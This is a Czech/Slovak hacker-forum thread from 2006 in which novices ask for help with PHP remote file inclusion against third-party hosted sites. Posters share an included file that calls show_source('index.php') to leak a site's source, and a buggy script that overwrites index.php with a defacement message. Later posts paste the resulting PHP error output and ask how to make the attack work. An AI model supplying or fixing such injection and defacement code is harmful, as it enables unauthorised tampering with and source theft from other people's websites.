Hosi pomozte s PHP injection
HackForum
| Hosi pomozte s PHP injection | # |
| Zdravim.
na wz som dal tst.txt ktoreho obsah je echo "hello world";
Potom som siel na www.igor.euweb.cz (v diskusi o php injection pise ze tom tam facha) tak som dal
[link] a ono to hadze
echo "Hello world"; preco sa ten skript nespustil?
Je to hrozne ak mate neaky web kde to jede tak dajte.thx.jogi
(odpovědět) | |
|
|
| re: Hosi pomozte s PHP injection | # |
| A co tohle
[link]
Ty máš blbej zdroják v tom "tst.txt". Musíš mít jako já:
<?
show_source("index.php")
?>
(odpovědět) | Nazghul |  |  |  236365836 | 29.8.2006 22:49 |
|
|
|
| re: Hosi pomozte s PHP injection | # |
| Ale on nechtěl zobrazit zdroják, ne? :)
Jogi: tst.txt musí vypadat takhle:
<?php
echo "hello world";
?>
(odpovědět) | |
|
|
| re: Hosi pomozte s PHP injection | # |
| InSAN3×N3T:koukam ze si do toho taky kopl a zacal ses ucit...
(odpovědět) | |
|
|
| re: Hosi pomozte s PHP injection | # |
| Už jsem to dlouho plánoval, ale nějak nebyl čas.
(odpovědět) | |
|
|
| <?php
$subor = fopen("index.php", "r+");
fwrite = fwrite($subor, "Na tomto webe bola objavena vazna bezpecnostna chyba,...");
fclose($subor);
?>
Je to dobry kod na zapisanie retazca na zaciatok index-u ???
(odpovědět) | |
|
|
| re: Hosi pomozte s PHP injection | # |
| LOL! :D
Tak to nekdo defacnul za vas.. :D Aspon to mohl zalepit.
(odpovědět) | |
|
|
| re: Hosi pomozte s PHP injection | # |
| Nj, ale pořádc si na tom může zkoušet příklady php injekce :)
(odpovědět) | |
|
|
| re: Hosi pomozte s PHP injection | # |
| No na mojej stranke na ic.cz , kde to skusam, ked inkludnem teh skript hore tak to hadze:
Warning: fopen() [function.fopen.php]: Unable to access url.php in [link] on line 2
//insert.txt je ten php injection skript
Warning: fopen(url.php) [function.fopen.php]: failed to open stream: No such file or directory in [link] on line 2
Warning: fwrite(): supplied argument is not a valid stream resource in [link] on line 3
Warning: fclose(): supplied argument is not a valid stream resource in [link] on line 4
co sa s tym da robit ???
(odpovědět) | |
|
|
| Preco ked inkkludujem tento skript
<?php
$subor = fopen("index.php", "r+");
fwrite = fwrite($subor, "Na tomto webe bola objavena vazna bezpecnostna chyba,...");
fclose($subor);
?> (ktory je na wz.cz)
na ic.cz (na stranqe ktora podporuje php injection)
Vyskakuje toto:
No na mojej stranke na ic.cz , kde to skusam, ked inkludnem teh skript hore tak to hadze:
Warning: fopen() [function.fopen.php]: Unable to access url.php in [link] on line 2
//insert.txt je ten php injection skript
Warning: fopen(url.php) [function.fopen.php]: failed to open stream: No such file or directory in [link] on line 2
Warning: fwrite(): supplied argument is not a valid stream resource in [link] on line 3
Warning: fclose(): supplied argument is not a valid stream resource in [link] on line 4
co sa s tym da robit ???
(odpovědět) | |
|
|
